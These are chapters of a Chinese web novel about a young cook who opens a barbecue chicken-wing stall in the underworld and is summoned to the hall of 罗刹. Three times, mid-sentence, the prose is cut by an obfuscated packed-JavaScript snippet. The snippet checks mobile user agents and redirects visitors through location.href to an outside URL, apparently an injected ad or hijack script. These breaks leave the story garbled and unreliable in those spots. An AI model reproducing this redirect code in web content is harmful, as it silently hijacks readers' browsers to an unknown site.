配图是一个男子坐在白骨堆成的宝座上，双腿交叠，皮肤白得发青，修长的手指上挂着一个银制的骷髅面具。下巴微微抬起，半张被银制面具遮住的脸隐匿在黑暗里，眉如银钩，懒洋洋地用一双青色的眼睛睥睨着镜头外。 （这照片是黄泉亲自提供，他抓了不少南城鬼操刀拍摄！所以，请不要问铁柱为什么他的照片这么精美！） 沈婵娟没忍住笑了笑。这个引路人黄泉，看来对自己非常自信。 连看了几位惊为天人的帅哥，沈婵娟也对最后的第一名充满期待。 不过，令她失望的的是，第一名居然没有配图。 No.1鬼相 对于这个结果，铁柱也是没有丝毫的意外，毕竟能额外开出“免作癸还额外赠送四十四万阴时”的，应该只有这位了吧。。 真是好奸诈的拉票手段！虽然铁柱也默默投了鬼相一票。。 应该没有鬼不希望免去作癸吧！！要是抽到我，我就要一辈子躺平，立马辞职走人。 接免作癸，接接接。 沈婵娟咂舌。 这鬼相还真是大手笔，抽鬼免作癸还送四十四万，这不是鬼相，这是菩萨啊！！ 不过用这种手段，是不是说明他容貌丑陋，只能用这种方式拉票？ 不过任她再好奇，也没有在文中找到答案。 帖子的最后，方正的投票栏悬浮着。 沈婵娟不假思索地伸出手指，给鬼相投了一票。 虽然她运气差，但是她心态好啊。 万一呢？如果真的抽中她了呢？反正选谁都一样，但那可是货真价实的四十四万！ 为四十四万而战！！ 继续往下划拉，评论区有和她一样的新鬼发问：【怎么没有鬼相的图啊？求求求】 有好心的鬼回复：【你是新来的吧？从来没有鬼见过鬼相，每年作癸都是黑白无常去的，抽选是孟婆，重要通知靠小崔判官。鬼相虽然维护整个地府的运行，但从没有露过面。】 【鬼相露不露面都无所谓吧，他露面了怎么巡逻地府啊，他一出现所有鬼都吻了上去。】 【也是，还是保留点神秘感比较好。而且他出手那么豪，我可以脑补！！】 窗外夜色渐深，沈婵娟打了个哈欠，放下手机进入了梦乡。 银白的月光洒了满地，落在她身上时，她脖子上的锅铲项链也莫名亮了亮。 * 沈婵娟起了个大早，准备去所谓的“百鬼集市”里探一探。 只是她一起床，总感觉哪里怪怪的，但怪在哪里，她又说不出来。 洗漱时一切如常。 煲粥时一切如常。 直到她端着皮蛋瘦肉粥坐在餐桌上，沈婵娟才发现哪里不对。 天为什么只是亮了一点点？！ 餐桌正对着客厅的落地窗，月亮已经隐去，但天色却是半亮不亮，像人界破晓的清晨，却因没有朝阳，又远不如那时明亮。 沈婵娟看了看时间，确定此时是晨时无疑。 此时正值夏末，按理来说，天早应该大亮才对。 种种情形，沈婵娟大胆猜测，地府没有白昼？！ 沈婵娟一边担心自己会不会因为极夜得抑郁症，一边操心没有太阳的地府的湿气重不重。 要是湿气和阴气一样重，她上哪去晒被子杀死螨虫？ 她抛开脑海里稀奇古怪的想法，草草吃完了早餐，就按着小黑小白给她安装的“地府万路通”上显示的路线，走到了百鬼集市。 虽然这个集市确是商贾云集，但说是一个占地广大的小镇更合适，她逛了一个多小时，才堪堪逛完五分之三。 集市内有各种各样的鬼屋、游戏厅、电影院、书店等等，也有很多个人摊贩在贩卖书法字画一类，生意也蛮红火。 甚至还有几个鬼厨在卖菜品，但大部分的菜肴都呈现黑灰色，蔬菜没有腐烂，却隐隐有发酸的味道。 她本着知己知彼百战不殆的想法，买了一份据说是“蔬菜沙拉”的东西。10阴时一份，还算能接受。 沈婵娟用赠送的叉子拌开沙拉酱，屏住呼吸吃了一口。 入口的蔬菜已经不再清爽可口，反而透出一种古怪的糜烂气味，小番茄也软趴趴的，汁水又酸又涩。熟鸡蛋尝起来也是令沈婵娟两眼一黑，居然是发腥发苦的！ 这菜里唯一能吃的就是沙拉酱，但给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159175|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的量很少。 沈婵娟总算知道，为什么黑白无常对人界食物那么不屑。要是她对人类美食的第一印象是这道蔬菜沙拉，她也会觉得人类没救了。 收拾好餐盒，沈婵娟顺便去了解了一下店铺的租金，大多数店面都是一年二十五万阴时，长租则是二十万。 而在入口处的店面，鬼流量更大，位置也宽敞，则要三十五万一年。 随后她又拜访了东城集市、老街集市，虽然租金更便宜，但鬼流量却远远不如百鬼集市。倘若她有了本钱，也会更倾向于在百鬼集市租下店面，甚至买下几个店面。 不过，这都和沈婵娟，一个余额300的鬼无关。她现在只能采取流动摆摊的策略，积攒初始资金。 好在她原先就是摆摊起家的，用于摆摊的餐车还堆放在家里的杂物间。 搞定了设备，另一个问题就出现了：第一天卖什么？ 地府美食摊只此一家，也就是说，鬼流量就算再大，终究是有限的。 更何况鬼们没有人界那么多五花八门的选择，她不可能像人界摆摊一样，只专卖一种食品。 而第一天的选择就显得非常重要，要打响名头，菜色既要够香，还要易于打包携带。 同时最好是有多个种类选择，干食配饮品，咸辣的食物配甜食，就会有更多连带的消费。 只是，是做卡呲卡呲的炸鸡、劲爆的汽水还是爆辣鲜香的烤鱿鱼？ 沈婵娟走在回家的路上，一言不发地思索着每一个选题的利弊。 一个粉裙子的小女孩飘过她身边，沈婵娟走了神，想起来她小时候也有一条类似的裙子。 童年的记忆像潮水般涌出来，沈婵娟突然想起来什么，一溜烟地跑回了家。 若不是偶然想起，她自己都快要忘了，她的厨师梦，就是从一串烤鸡翅开始的。 她小时候其实并不喜欢吃饭，因为孤儿院里的饭菜永远是冷冰冰的，菜上浮着凝固的油脂，米饭又冷又硬，令人难以下咽。唯有院外不远处红火的烧烤摊，永远都有烟火的热气。 过路的行人拿着一串烤得酥脆的烤鸡翅，老远就能闻到油脂和辣椒混合在一起的香味。 她透过孤儿院的栅栏，看着走过的人，一遍又一遍地幻想着烤鸡翅的味道。 直到李院长接手了这个孤儿院，他们一群孩子才勉强吃上热饭。不过虽然是热的，但口味也只是勉强果腹，并不算美味。 六一儿童节那天，大家在院里搞联欢活动，李院长答应满足每个人一个小愿望。大家都很懂事，大多只要了一些价格低廉的文具。当问到沈婵娟时，不知怎的，烤鸡翅越过廉价的橡皮和本子，蹦到了脑海的最前面。 于是她说，她想尝一尝烤鸡翅的味道。 烤鸡翅十五元一串，这也是她第一次向院长提出如此价值“高昂”的心愿。 李院长摸了摸她的头，笑着说好。 于是沈婵娟和其他小朋友分着吃了两串烤鸡翅。虽然她是愿望的提出者，但沈婵娟其实只是小小地吃了两口。 现在想来，孤儿院的记忆已经太遥远，远到她的记忆和味觉都褪色了，连带着那串烤鸡翅的味道也已经模糊不清。 但当她回首望去，又觉得那种温暖而辛辣的味道带给她的冲击和幸福，如此记忆犹新。 她从那一刻起就决定，她沈婵娟以后也要成为烧烤摊主，成为一个大厨，为小朋友、李院长、为每一个食客都烹饪这种幸福。 因此，在这个食客是鬼魂的地府里，在她职业生涯重新开始的第一天，她想用烤鸡翅来作为新的起点。 5. 炭烤鸡翅 烤鸡翅要好吃，靠的不仅是烧烤的火候和技术，提前的腌制也同样重要。 沈婵娟先将鸡翅洗净，再用餐叉在上面扎几个小洞方便入味，随后放入调味的酱汁中腌制一小时，使鸡翅在烤前就有一层香咸的底味。 然后将腌好的鸡翅分成两个一组，串到竹签上方便烤制。 不过，仅有烤鸡翅还不够。 一边吃鲜香麻辣的鸡翅，一边来一口冰爽的饮品，那才是绝佳。 如果要问沈婵娟，什么和烤鸡翅最搭配，她的答案永远是冰镇气泡水和冰酸梅汁。 于是她又准备起饮品的制作。 将乌梅、桑葚、山楂、陈皮、甘草、洛神花一起洗净后浸泡四十分钟，再放入锅中煮沸，加入冰糖不断搅拌直至融化。 酸梅汤的香味溢满了厨房，闻之便叫人觉得神清气爽。出锅后趁热撒入糖桂花，放凉后倒入饮料筒中备用。 气泡水则要简单很多，在地府速递送来的气泡水里，提前放入柠檬和话梅，再来几勺香甜金黄的蜂蜜，酸甜的气泡水带着话梅的香气，能解鸡翅的油腻。 当然，夏日贩卖饮品，必不可缺的还有一大桶致死量的冰块。 若是在人间，保温可是一个大难题。但地府赠送的阴时存储空间，自带保温功能，非常神奇，倒是省了沈婵娟许多功夫。 * 沈婵娟来到百鬼集市，从项链里取出烤架和饮料筒，摆弄好摊位点火时，天色已经由浅黑变成了黑蓝色。 傍晚时分，在暑热尚未消散的地府，来一串烤鸡翅配上冰饮，别提有多惬意了。 她打开灯牌的开关，绚烂的LED灯将黑板上硕大的“小沈美食摊”显得十分突出： 今日特卖：烤鸡翅（蜜汁、麻辣、变态辣）16阴时/串、冰镇酸梅汤8阴时/杯、冰镇气泡水7阴时/杯 黑板上的字秀美又不失大气，是沈婵娟的邻居，卖字画的云寄锦专门为她写的。 她的这个邻居，人特别好，大爱无疆，喊着什么一日为邻终身为友就跑过来，免费给沈婵娟送了见面礼。 沈婵娟回想起昨日，唇角不自觉地扬起来。 说起来，她也该谢谢这个邻居。 “又是个鬼厨啊，搞得还像模像样的。”一个路过的鬼嘟囔道。 “像模像样也没用，谁不知道鬼厨做的那些东西真是狗都不吃。” 话是这么说，但还是有些好奇的鬼上前，看了看沈婵娟的小摊，只是鬼来鬼往，迟迟没有鬼愿意当第一个冤大头。 沈婵娟叹了口气，扬声道：“新鲜的酸梅汁和气泡水，欢迎各位试喝。” 听她这么一说，众鬼有不少心动者。 “看着挺好喝的，你要不要试试。” “你先试试。” “我可不当冤大头，要试你先试。” 就这么推搡着，第一个来到沈婵娟的小摊的，却是一个小姑娘，她甜甜地笑着，一对酒窝像浸了蜜的糖。 她眨着眼睛道：“姐姐，我想要一份冰镇气泡水。这个看起来真好喝。” 沈婵娟简直要被萌化了，正想让她试喝一下，抬头时，却发现小女孩被一个年长的女人牵走了。 “地府速递的气泡水才卖5阴时，这鬼厨白赚2阴时，太黑心了吧！”她隐隐听到那女鬼这样说。 我不是！我没有！你听我解释啊！沈婵娟在心里大叫时，却有鬼来到摊位前，在她眼前撒下一片阴影。 她抬头看去，原来是有一个男鬼站到摊前，微笑道：“两串烤鸡翅，一杯冰镇酸梅汁。” 他一身玄色窄袖骑装，袖口禄口缀着明紫色缎边，肩宽腰窄，显得意气风流。 虽然笑着，但是却是皮笑肉不笑的样子，怪吓人的。 看见那个上去的冤大头，众鬼有默默为他上香的，觉得此鬼必是还不知鬼厨深浅的新鬼，白白花了40阴时的冤枉钱，也有在摊位不远处，等着看这个背影绝佳的冤大头正脸的。 沈婵娟无视嘈杂的议论，没有多打量这位顾客，只是麻利地拿出两串鸡翅放到烤架上，适时问道：“您要什么口味？现吃还是带走？” 当烤架上的鸡翅已经隐隐变得金黄时，他仍然没有回答。 沈婵娟有点不耐烦地抬起头，先看见的是他眼下颧骨上的小痣。 那颗痣上窄下胖，像一滴眼泪的形状。再往上看去，她的视线刚好和他漆黑的双瞳对上，而那双眼眸别开的时候，隐隐泛出一点紫色。 虽然很肤浅，但事实就是，她面对着一张帅脸，说不出太苛责的话，只好耐心道：“如果您吃不了辣，建议您点蜜汁口味，我们的麻辣比蜜汁稍微辣一点，适合能吃辣的鬼。” 司殷了然地点点头，选择了麻辣味，带走。 沈婵娟在鸡翅表面刷上她秘制的调味酱和辣椒粉，在翻烤的过程中视情况再刷一到两遍，小火慢烤。 当鸡皮里的油脂“滋滋”地冒出来时，撒上适量的孜然和花椒粉，表层滚烫的热油将孜然的香味完全激发出来，闻着就让鬼想流口水。 “好香啊。” “这鬼厨居然有点水平。” “而且居然不是酸臭的，也不会腐烂……我靠，你什么时候去排队的，等等我！” “你让开！我先来的！” “喂！那个鬼谁允许你插队的！！” 烤鸡翅的香气就是最好的招牌，沈婵娟把握着火候，抬手扇了扇风，发现不知何时起，她的小摊位前涌入了大批自发排队的鬼。 而一头波浪卷的云寄锦扎起了头发，丢下了摊位，热心地帮她规范着排队的秩序。 “你！对，就是你这个胖鬼！往那边飘点！挡到别的鬼了！” “诶诶诶，这位大哥，谁允许你自说自话地飘到前面去的？” “小妹妹，不急啊，你小沈店长动作很快的。” 沈婵娟感激地朝她笑了笑，云寄锦朝她眨眨眼，默契地各干各的事来。 没多久，鸡翅的外皮就被烤得金黄且略带焦脆，她极快地将烤鸡翅放进纸袋中封好，然后麻利地往杯子里舀了一大勺冰块，装了满满一整杯酸梅汁递给司殷。 他伸手接过时，挑着眉意味不明道：“多谢你的烤鸡翅，我会好好品尝的。” 沈婵娟看到他的笑容，不知怎的起了一身鸡皮疙瘩。她搓了搓手，假笑着客套道：“哪有，好吃欢迎您下次再来。” 一晃神的功夫，他就消失不见了。 与此同时，沈婵娟的脑海里也收到了阴时到账的提醒： 您的阴时到账：100阴时。 他点的东西一共才40阴时，付款时却给了两倍还多。 沈婵娟不理解他为什么会转这么多，她也没时间揣测他的用意，暗暗决定下次给这位大气的客人免单，就当还钱了。 “老板，我要十串蜜汁鸡翅，带走。一杯冰镇气泡水。”排到的杨琳迫不及待道。 她是打算跟在司殷后面凑个热闹，没想到一蹭蹭了个大的。 别说在地府，就是在美食众多的人间，这烤得火候正好、鲜嫩流油的烤鸡翅，肯定也是网红爆款，若是想吃，排队非排个天昏地暗不可。 杨琳看着身后长长的队伍，感谢自己的先见之明。 “喂！你过分了吧，要是每个鬼都十串，我们后面的还吃不吃啊。” “先到先得怎么了？不服你就提前来排队。”杨琳不客气道。 此时刚结完第一个客人，剩余的鸡翅如果限购，应该能让大部分鬼都吃上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159176|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 开业第一天，沈婵娟想让客户群体尽可能地大，于是她吆喝道：“今日情况特殊，每鬼限购三份哦！” 云寄锦也在后排大声道：“今日每鬼限购三份——” 排在队伍靠后的鬼：“老板你真好！排到我们应该还有，嘿嘿。” 靠前的鬼：“老板怎么临时变卦啊，对我们不公平吧。我们只是……只是十几年没吃饭了食量大，我们有什么错！” 沈婵娟不好意思地解释道：“小摊开业第一天考虑不周，今天的烤鸡翅一律9折。” “看在你这么诚心诚意的份上，下次一定要多做一点啊！” “对啊对啊！” 沈婵娟笑了笑没说话，在和杨琳确认过数量后，又拿了三串鸡翅放在烤架上。 蜜汁鸡翅的腌制辣椒放得很少，在鸡翅表面刷上蜂蜜，使辣椒粉融化在香甜的蜂蜜里，甜辣咸香，都在这一口烤翅里。而且使用油润的蜂蜜，还能保证鸡肉在炭火熏烤下不会过柴，饱满多汁。 沈婵娟将三串蜜汁鸡翅和冰镇气泡水递给杨琳，她立马就打开包装，站在摊位旁边大快朵颐起来。 鸡翅的外皮被烤得油亮酥脆，一口下去，一股滚烫的蜜汁流入口腔，微微的辣味刺激着舌头，使她欲罢不能，烘烤得当的鸡肉外酥里嫩，唇齿留香。 再配一口冰镇的气泡水，密集冰冷的气泡在舌尖炸开，刺激着味蕾，也许有些食客不习惯于这种刺激，但杨琳倒是觉得，气泡水这样才够爽。 而后柠檬和话梅的酸甜在口中弥漫开，清凉又解腻。 气泡顺着喉咙被咽下的时候，杨琳满足地打了个嗝。 她吃得太急，嘴边蹭上的蜂蜜也没来得及擦，只是着迷地享受着久违的美食的热量，露出怀念的表情。 “你看她吃得好香。不敢想这烤鸡翅得好吃成啥样。” “啥时候到我啊……” “你有没有感觉有点饿了，明明死之后从来没饿过。” “……你不是饿，你是馋吧。” “还要多久啊？老板能不能把边角料喂我嘴里——” 众鬼在队伍里嘻嘻哈哈地开着玩笑，刷一刷地府论坛，等待的时间倒也不算难熬。 随着天色越来越暗，沈婵娟准备的鸡翅也以惊人的速度消耗着。 炭火的温度将她的脸都熏红了，沈婵娟重复着刷酱翻烤的动作，疲惫之余又觉得心里暖洋洋的，不只是烹饪的喜悦，还有食客的友好和赞美，都让她感到温馨。 光顾她摊位的鬼都非常友善，结账爽快，态度热情，就是……有些年轻的鬼，会在吃到后发出莫名的怪叫。 除了这点之外，都非常好。 她将最后一对烤鸡翅递给最后一位排到的顾客，不好意思地朝队伍后面大喊：“不好意思！今天的鸡翅和饮品全部都已经售罄了！请各位明天再来！” 后面的鬼不无遗憾地看了看摊位，发现真的连酸梅汤都没有一滴了，才哭丧着脸走开。 沈婵娟收完了摊子，点了点锅铲项链，想看看今日赚到的阴时。 听到播报的一瞬间，她就笑开了花。 您的阴时余额：2400阴时。 云寄锦走过来，一头长发有些凌乱，调侃道：“有两把刷子啊，小沈。” 沈婵娟坦然地笑起来，臭屁道：“不然怎么好意思显摆。”语罢，她从项链里掏出两串烤翅，递给云寄锦又道：“今天辛苦你了。” “还给我留了存货？！”云寄锦有点惊讶。 沈婵娟点点头：“你这么关照我，总要谢谢你的。” 云寄锦豪气地拍了拍沈婵娟的肩膀，爽朗道：“够意思啊！”然后利索地咬了一大口鸡翅。 她发誓，她从来没吃过这么香的鸡翅！ 6. 面见罗刹 沈婵娟哼着歌走回家，准备倒床就睡。虽然身体累得不行，但心里别提多美了。 她此时就像以往被她痛骂的新人厨师一样，因为第一天圆满结束，乐得收不住笑。 沈婵娟畅想着未来日进斗金的好日子，仿佛“小沈美食”名扬地府就在不远的将来，而靓丽的x博基尼已经在向她招手…… 她定睛一看，发现向她招手的不是豪车，而是飘在她家门口的小白。 一黑一白两道身影盯着她慢步走来，小黑照常冷着一张脸，小白的嘴角微微翘起，笑容像蘸了炼乳的白馒头，让沈婵娟想捏两下他鼓起的脸颊。 他们似乎已经等了一会了。 见她来了，小白笑眯眯道：“小沈，和我们走一趟吧。” 沈婵娟内心暗道不好。 小黑居高临下地看着她，冷冷道：“特殊鬼口登记，你不会忘了吧？” 确实把这茬忘了的沈婵娟面色一僵，又很快恢复自然：“怎么会？” 小黑将她的神色尽收眼底，眼底划过一丝笑意，淡淡道：“别废话了，走吧。” 黑白无常亲自来接人，哪有不走的道理？ 沈婵娟认命地迈开步子，追上匀速飘浮的小黑小白。 不知走了多久，沈婵娟的小腿微微有些酸痛。 她试探着开口：“我们还有多久才能到？” 小白睁大了眼睛，好像不敢相信自己的耳朵。但他生怕自己误解了沈婵娟，只好回头看了看距离，才肯定他们确实没走多远。 他拖着下巴，狐疑地打量着沈婵娟。 沈婵娟无奈：“我有点累了。” 小白深思熟虑了一会，语重心长地拍拍她的肩：“小沈，你这样不行，年轻鬼还是要多运动。” 沈婵娟看着他关心的眼神，又看了看他们漂浮的双腿，决定还是闭上嘴不说话。 这杀千刀的地府！怎么就她没有漂浮的技能！ 这是歧视！歧视啊！！ “至多半刻钟，就能到了。”小黑看着她，面无表情地提醒道。 沈婵娟点点头，安详地闭上眼继续走。 见她面如菜色，小白忍着笑搭话：“小沈，你之前做的那些菜，叫什么名字？” 沈婵娟虽然累，但动嘴皮子的力气还是有的，回答道：“你吃了半盘的是糖醋排骨，小黑吃得最多的是番茄炒蛋，剩下的那道青花盘装的是醋溜土豆丝，汤你们没喝，是紫菜蛋花汤。” 小黑听到她的话，剑眉微挑，看了沈婵娟一眼。 她一边回答着，小白一边崇拜地看着她，两眼亮晶晶的。 “你是不是很喜欢人类的口味？”沈婵娟忍着笑问他。 小白矜持地点点头，又侧过头去指小黑：“不只是我，他也是！” 小黑垂下眼睑，不轻不重地瞥他一眼，面色如霜。 沈婵娟打量着小黑，他仍然是那副冷淡的样子，却没有开口否认。 明明就喜欢人类的口味嘛，沈婵娟有点想笑。 小白又侧过头去和小黑说话，沈婵娟这才发现，小白的脖颈上原来有一个刺青。 因为小黑比小白高一个头，白无常侧头去看时要微微抬起头，于是便将脖颈的最上方，常被下颌遮住的地方露出来一点点。 青白的皮肤之上，用朱砂红的描金宋体写着一列字： 一见生财。 小白又转过来时，那四个字就被线条分明的下颌挡得无影无踪了。 沈婵娟适才回过神，笑道：“既然如此，再过十来天就是七夕了，到时我做些麻巧给你们送去。初来乍到，烦请你们多多关照。” “这……不好吧？我们可不是那等贪污的阴差！”小白义正严辞地看着她。 沈婵娟好笑地看着小白，因为他眼里分明只有一句话： 快说不是不是，快问我吃不吃，快送给我呀！ 不过很快，小白故作姿态的样子就消失了。 因为小黑拧住了他的耳朵，漠然地吐出了两个字。 “别装。” 小白气得想去打他，小黑却侧着身子躲开，朝沈婵娟道：“多谢。” 沈婵娟笑着摇摇头，继续往前走。 小白气呼呼地跟上他们，严肃地抿着嘴，好一会没说话。 只是没一会，他又忍不住问沈婵娟：“小沈，麻巧是什么？” “你不知道？”这沈婵娟倒是没想到。 小黑看小白一眼，火上浇油道：“愚蠢。” 眼见形势不妙，沈婵娟挤进他们中间，开口解释道：“麻巧实际上就是一种糖糕。相传农历七月初七，女孩对月穿针，各家都会在家里摆上麻巧、莲蓬等食物，向织女祈求，希望能够得到巧技。” “听起来很好吃。” 沈婵娟没忍住笑了笑：“嗯。我做出来会好吃的。” 小白更崇拜地看着她，被他这么看着，连沈婵娟都有点不好意思起来。 “七夕乞巧，你乞的莫非是厨艺不成？”小黑突然插嘴道。 见沈婵娟不解，小白“哼”了一声，还是提供了中译中服务：“他的意思是，你有一双巧手，做的菜都很好吃。” 夸就夸，搞那么抽象。 沈婵娟嘴角抽搐了一下，克制道：“对啊，不枉我小时候每年都对月挥铲，才总算把厨艺都点满了。” * 不知过了多久，面上隐隐拂过一阵阴风。 沈婵娟看了看四周，才发现已经走到了忘川河畔。 “小沈，这里就是罗刹殿。”小白指了指夜空中的某处。 沈婵娟朝着他指的方向看去，怀疑是不是自己眼睛有问题。 他们正站在忘川河和黄泉路的交界处，半面是腥冷的泥土地，半面是流淌着骷髅血水的忘川河，月色清辉下，万物都一览无余。 放眼望去，鬼都没有一个，哪来的什么罗刹殿？ 她疑惑着，却见小白不知从何处掏出一根白色的长竹棒，沈婵娟细细看去，才发现表面是一层厚厚的白纸所就。 白无常脖颈上被遮住的“一见生财”四个字，突然亮起了一层诡异的红光。他手握哭丧棒，行云流水地耍了一套棍棒招式。 而后用棒尾一点忘川河，用血红的河水在黄泉路上，鬼画符般写了“必安”二字。 一阵猛烈的腥风袭来，吹得他一身白衣猎猎作响。笑面无常冷下神色的时候，不再像柔软易食的白馒头，反倒像山顶终年不化的尖冰。 冷得吓人。 旋即，一座建筑凭空出现在河面与土地交界上方。 沈婵娟看得分明，那建筑出现得诡异，像是它本来就在忘川河水之上，只不过被无形的屏障遮掩住了。 很快，她就无暇思考罗刹殿的出现。因为那殿越来越近，越来越低，而后落在了沈婵娟面前。 也正如此，整个殿外一览无余。 “罗刹殿”名字起得宏伟，但其本身却并不庄严，因其是白墙黛瓦的江南园林，所以十分雅致清幽。黛色的瓦当铺得密而有序，叫人一看便想起檐下听雨的情趣、江南烟雨的柔情。 立面的飞檐仿若飞鸟振翅，月洞门内栽着茂盛的青竹，竹叶又细又密，越过窗棂出墙而来。 美是极美的，但是在沈婵娟眼里，却不是美不美的问题。 试问：夜色下黑不溜秋的中式建筑，摇晃的树影，血红的老式灯笼，屋檐上飘的白纸铜钱，这是一副什么情景？ 答：当然是恐怖游戏的cg。 见到恐怖游戏就绕道走的沈婵娟绝望地想：现在说不去还来得及吗？ 黑白无常却不知道她的心思，很快飘到门两侧，各执一铜环，同时扣响了漆得深黑的木门。 那门发出令人牙酸的“吱呀”一声，自己敞开了。 对此见怪不怪的小黑小白自如地迈过门槛，只有沈婵娟起了一身鸡皮疙瘩。 一般来说，屋内不都有女鬼索命吗？ 沈婵娟咬牙走进殿内，扑鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她幅度极小地点点头，也露出一个清浅的笑。 “那这位喜欢梅花而且雅致的女士，冬日里来一碗热腾腾的玫瑰汤饼怎么样？”沈婵娟笑盈盈地，补充了下半句：“到时你可以来我的小沈美食摊看看。” 罗刹微微抬眸，居然认真地思考起来。 不过须臾，她答道：“初雪之日，我会去。” “那说好了。”沈婵娟点点头，走出了罗刹殿。 回去的路上，小白似乎心事重重。 沈婵娟一连叫了他好几声，他才如梦初醒般答道：“怎么了？” “我才要问你怎么了？”沈婵娟打趣道。 小白仍然没有笑意，问了一个莫名其妙的问题：“小沈，如果罗刹没有来，你会难过吗？” “呸呸呸。”沈婵娟捂住小白的嘴。 小白拿开她的手，固执地又问她：“你告诉我，你会难过吗？” 沈婵娟不明白他的用意，但这么一根筋的小白，她还是第一次见。 所以，她半逗半玩笑道：“这个很重要吗？” 小白认真道：“重要。” 沈婵娟代入了那个场景，猜测道：“嗯……应该会吧，毕竟我们不是说好了吗？” 小黑默默地看了她一眼，动了动嘴唇，却终究还是什么也没说。 而看着沈婵娟思索的神色，小白反常地沉默着。 他该怎么告诉沈婵娟，地府有风有雨，却独独从不下雪呢？ * 沈婵娟走后，罗刹烧净了她的八字和姓名。 看着燃尽的纸屑，她轻轻地叹了一口气，将滴着蜡泪的红烛熄灭。 她轻柔的声音散在风里，不再留下任何回音。 “其实我也真的……很想尝一尝你的汤饼。” 7. 热关东煮 黑白无常与沈婵娟分别后，难得没有再拌嘴。 “小黑，你说罗刹为什么要骗小沈？” 小黑摇摇头：“我只知她做事，向来都有缘由。” 闻言，小白少见的不满起来：“她有缘由，就能随便辜负别人的好意吗？” 小黑也觉得罗刹这事做得不地道，轻轻点了点头，没接话。 他闭了嘴，小白却还在为沈婵娟打抱不平：“小沈那么好，她还要骗小沈！” 小黑见他愤懑，识趣地应和道：“的确。” 他侧过头，却见小白下颔后的刺青发出一阵红光，小黑连忙摁住他：“你干什么？” 小白一双眼睛黑而亮，直视着小黑：“不干什么。” 小黑松了一口气。 却听小白又道：“她不来，我就亲自给她送过去。” 小白拿开小黑按在他肩头的手，语调轻而冷，仿佛一柄锐利的薄刃。 不过很快，他又恢复了往日笑眯眯的样子，自如道：“小沈都没问我吃不吃梅花汤饼，这个好意，罗刹怎么能不接受？” 小黑看着他闪身消失的地方，莫名感觉沈婵娟这人居然很有手段。 一个小小的汤饼，居然能让小白气成这样。 * 窗外夜色渐深，躺在床上的小白打开“地府通讯”，打算睡前再放松一下。 有一篇名为【百鬼集市的烤鸡翅大家都吃到了吗？】的帖子飘在最上方，吸引了他的注意： 小白用脚想也能猜到，肯定是沈婵娟的小摊开业。 金黄焦脆的烤鸡翅被po出来，尽管摸不到也吃不到，但小白想象着那种和糖醋排骨一样的美味，不自觉地咽了一下口水。 他去接沈婵娟时就觉得奇怪，她身上怎么会有一股淡淡的烟熏味。 小白心痛无比，满心都是：我居然没有追问下去！ 如果他问了，是不是就算没吃到烤鸡翅，也能获得一点别的补偿？说不定还能获得去沈婵娟家蹭饭吃的机会？ 失策！大失策！ 不过，没吃到这么憋屈的事情怎么能自己憋着呢^_^ 于是小白站在小黑的房间前，把他的房门敲了个震天响。 很快，门就开了。 小黑不耐烦地眯着眼倚在门上，头上还戴着一个大眼睛的眼罩。 见他已如即将爆发的火山一般，小白先发制人：“小黑，你居然还睡得着。” “莫名其妙。” 说罢，小黑就要关门继续回去睡觉。 只是，关门前最后一眼看到的照片。 似乎是……香喷喷的烤翅？ 小黑重新打开门，不由分说地拿走小白的手机，仔细浏览起来。 帖子里除了帖主拍摄的烤翅照片之外，还有一张摊位图片。 意外入镜的男子背影一身玄色窄袖骑装，袖口缀着明紫色缎边。 他穿什么不重要，重要的是他身上，只有阴差能看到的，忽明忽暗的红色火焰。 小黑将手机转向小白，用指尖点了点这个背影。 他们默默对视了一眼，一个答案浮现在心头。 一切尽在不言中。 “他也会吃人类的食物吗？”小白嘟囔道。 “闻所未闻。” “那他还吃烤鸡……”话没说完，小黑瞪了小白一眼，小白才像意识到什么似的，死死闭上了嘴。 而后他们不约而同地别开脸，轻咳了两声，试图掩盖止不住的笑意。 这位鬼相来到地府之前的身份，虽然不准明言，但阴差无人不知。 他曾经是一只落单的野雉。 野雉。野鸡。 嗯，那句话怎么说？ 本是同根生，相煎何太急啊。 * 次日，沈婵娟趁天色还亮堂着，就到了百鬼集市准备出摊。 出乎她意料的是，竟已有很多鬼排队等着了。 “老板下午好！”为首的许芸笑盈盈地朝她问好。 “下午好。你们怎么来这么早？”沈婵娟有点疑惑。 “当然是怕吃不上呀！老板你知道你的烤翅贴有多火吗？！” 沈婵娟摇摇头，她昨天太累，一回家洗漱完就睡了，根本没来得及看“地府通讯”。 许芸翻出手机，点开那篇飘在热榜的帖子。 沈婵娟凑近去看，发现那篇帖子的评论居然高达2000条。 她不动声色地扬了扬嘴角，心内暗爽。 恨不得马上发一个帖子，名字就叫【急急急，一不留神变成小网红了怎么办？】 许芸又点了点，特意指了一条评论给她看。 “今天拉鬼去了没吃到(T＿T)，明天再战！” 那名用户的头像一片空白，ID是【白无常】，后面跟着一个独特的红色标识：血红的印章内用鬼画符一样的文字写着“必安”。 